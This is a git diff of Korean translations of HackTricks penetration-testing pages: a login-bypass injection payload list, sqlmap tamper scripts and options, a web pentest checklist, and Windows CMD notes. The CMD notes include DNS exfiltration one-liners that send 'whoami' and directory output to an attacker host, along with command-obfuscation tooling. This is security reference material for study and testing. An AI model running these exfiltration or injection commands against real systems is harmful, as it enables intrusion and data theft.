<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 웹 앱, 네트워크 및 클라우드에 대한 해커의 관점 얻기
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
이 목록에는 **XPath, LDAP 및 SQL 인젝션을 통한 로그인 우회 페이로드**가 포함되어 있습니다(그 순서대로).
|
||||
|
||||
이 목록에는 **XPath, LDAP 및 SQL 인젝션을 통한 로그인 우회를 위한 페이로드**가 포함되어 있습니다(그 순서대로).
|
||||
|
||||
이 목록을 사용하는 방법은 **첫 200줄을 사용자 이름과 비밀번호로 입력하는 것입니다.** 그런 다음, 사용자 이름 입력란에 전체 목록을 먼저 넣고 비밀번호 입력란에 어떤 비밀번호(예: _Pass1234._) 또는 알려진 사용자 이름(예: _admin_)을 넣습니다.
|
||||
```
|
||||
|
@ -832,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -849,7 +850,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -144,7 +144,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### 부울 주입 찾기
|
||||
### 부울 주입 찾기 도움말
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
|
@ -158,72 +158,72 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다. |
|
||||
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다. |
|
||||
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 교체합니다. |
|
||||
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 교체합니다. |
|
||||
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
|
||||
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
|
||||
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 교체합니다. |
|
||||
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 교체합니다. 이후 '=' 문자를 LIKE 연산자로 교체합니다. |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 두 번 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 교체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 교체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 교체합니다. |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
||||
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 교체합니다. |
|
||||
| escapequotes.py | 따옴표 ('와 ")를 슬래시로 이스케이프합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
|
||||
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
|
||||
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호 ('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자 (' ')를 주석으로 대체합니다. |
|
||||
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')과 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 새 줄 ('\n')로 대체합니다. |
|
||||
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')과 새 줄 ('\n')로 대체합니다. |
|
||||
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 대체합니다. |
|
||||
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 대체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
|
||||
| unmagicquotes.py | 따옴표 문자 (')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 교체합니다. |
|
||||
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 교체합니다. |
|
||||
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 교체에 적합한 표현으로 교체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호 ('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 교체합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp\_password.py | 페이로드 끝에 'sp\_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자 (' ')를 주석으로 교체합니다. |
|
||||
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 새 줄 ('\n')을 추가합니다. |
|
||||
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 새 줄 ('\n')을 추가합니다. |
|
||||
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 교체합니다. |
|
||||
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 교체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 교체합니다. |
|
||||
| unmagicquotes.py | 따옴표 문자 (')를 다중 바이트 조합 %bf%27로 교체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 교체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요.
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,21 +10,21 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
모든 웹 펜테스트에는 **취약할 수 있는 여러 숨겨진 장소와 명백한 장소가 있습니다**. 이 게시물은 가능한 모든 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
|
||||
모든 웹 펜테스트에는 **취약할 수 있는 여러 숨겨진 장소와 명백한 장소가 있습니다.** 이 게시물은 가능한 모든 장소에서 취약점을 검색했는지 확인하기 위한 체크리스트입니다.
|
||||
|
||||
## 프록시
|
||||
|
||||
|
@ -45,19 +45,19 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
{% hint style="info" %}
|
||||
대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
|
||||
데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
|
||||
데이터의 구조에 따라 서버가 기대하는 경우 일부 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### **반사된 값**
|
||||
|
||||
입력된 데이터가 응답에 반영될 수 있다면, 페이지는 여러 문제에 취약할 수 있습니다.
|
||||
입력된 데이터가 응답에 반영될 수 있는 경우, 페이지는 여러 문제에 취약할 수 있습니다.
|
||||
|
||||
* [ ] [**클라이언트 측 템플릿 주입**](client-side-template-injection-csti.md)
|
||||
* [ ] [**명령 주입**](command-injection.md)
|
||||
* [ ] [**CRLF**](crlf-0d-0a.md)
|
||||
* [ ] [**덩글링 마크업**](dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**파일 포함/경로 탐색**](file-inclusion/)
|
||||
* [ ] [**열린 리디렉션**](open-redirect.md)
|
||||
* [ ] [**열린 리다이렉트**](open-redirect.md)
|
||||
* [ ] [**프로토타입 오염을 통한 XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [ ] [**서버 측 포함/엣지 측 포함**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**서버 측 요청 위조**](ssrf-server-side-request-forgery/)
|
||||
|
@ -76,7 +76,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
### **검색 기능**
|
||||
|
||||
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있다면, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
|
||||
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있는 경우, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
|
||||
|
||||
* [ ] [**파일 포함/경로 탐색**](file-inclusion/)
|
||||
* [ ] [**NoSQL 주입**](nosql-injection.md)
|
||||
|
@ -104,7 +104,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
### **우회**
|
||||
|
||||
일부 특정 기능에서는 우회할 수 있는 몇 가지 방법이 유용할 수 있습니다.
|
||||
일부 특정 기능에서는 우회할 수 있는 몇 가지 해결 방법이 유용할 수 있습니다.
|
||||
|
||||
* [ ] [**2FA/OTP 우회**](2fa-bypass.md)
|
||||
* [ ] [**결제 프로세스 우회**](bypass-payment-process.md)
|
||||
|
@ -117,7 +117,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
### **구조화된 객체 / 특정 기능**
|
||||
|
||||
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 유형의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
|
||||
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 종류의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
|
||||
일부 **특정 기능**은 **특정 형식의 입력이 사용될 경우** 취약할 수 있습니다 (예: 이메일 헤더 주입).
|
||||
|
||||
* [ ] [**역직렬화**](deserialization/)
|
||||
|
@ -129,7 +129,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
파일 업로드를 허용하는 기능은 여러 문제에 취약할 수 있습니다.\
|
||||
사용자 입력을 포함한 파일을 생성하는 기능은 예기치 않은 코드를 실행할 수 있습니다.\
|
||||
사용자가 업로드한 파일이나 사용자 입력을 포함한 자동 생성된 파일을 열면 위험에 처할 수 있습니다.
|
||||
사용자가 업로드한 파일이나 사용자 입력을 포함한 자동 생성된 파일을 열면 손상될 수 있습니다.
|
||||
|
||||
* [ ] [**파일 업로드**](file-upload/)
|
||||
* [ ] [**수식 주입**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
|
@ -153,7 +153,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -170,7 +170,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ Some env variables to highlight:
|
|||
* **USERNAME:** 사용자 이름
|
||||
* **HOMEPATH/USERPROFILE:** 홈 디렉토리
|
||||
* **windir:** C:\Windows
|
||||
* **OS**: Windows OS
|
||||
* **OS**: 윈도우 OS
|
||||
* **LOGONSERVER**: 도메인 컨트롤러 이름
|
||||
* **USERDNSDOMAIN**: DNS와 함께 사용할 도메인 이름
|
||||
* **USERDOMAIN**: 도메인 이름
|
||||
|
@ -62,7 +62,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
|||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||
wmic logicaldisk get caption,description,providername
|
||||
```
|
||||
### [Defender](authentication-credentials-uac-and-efs/#defender)
|
||||
### [디펜더](authentication-credentials-uac-and-efs/#defender)
|
||||
|
||||
### 휴지통
|
||||
```bash
|
||||
|
@ -334,7 +334,7 @@ who^ami #whoami
|
|||
```
|
||||
### DOSfuscation
|
||||
|
||||
CMD 라인을 난독화합니다.
|
||||
혼란스러운 CMD 라인을 생성합니다.
|
||||
```powershell
|
||||
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
|
||||
cd Invoke-DOSfuscation
|
||||
|
@ -359,7 +359,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
|
|||
```
|
||||
#### 피해자
|
||||
|
||||
**`for /f tokens`** 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 서버로 전송할 수 있습니다.
|
||||
**`for /f tokens`** 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 우리의 서버로 전송할 수 있습니다.
|
||||
```bash
|
||||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||||
|
@ -369,7 +369,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
|
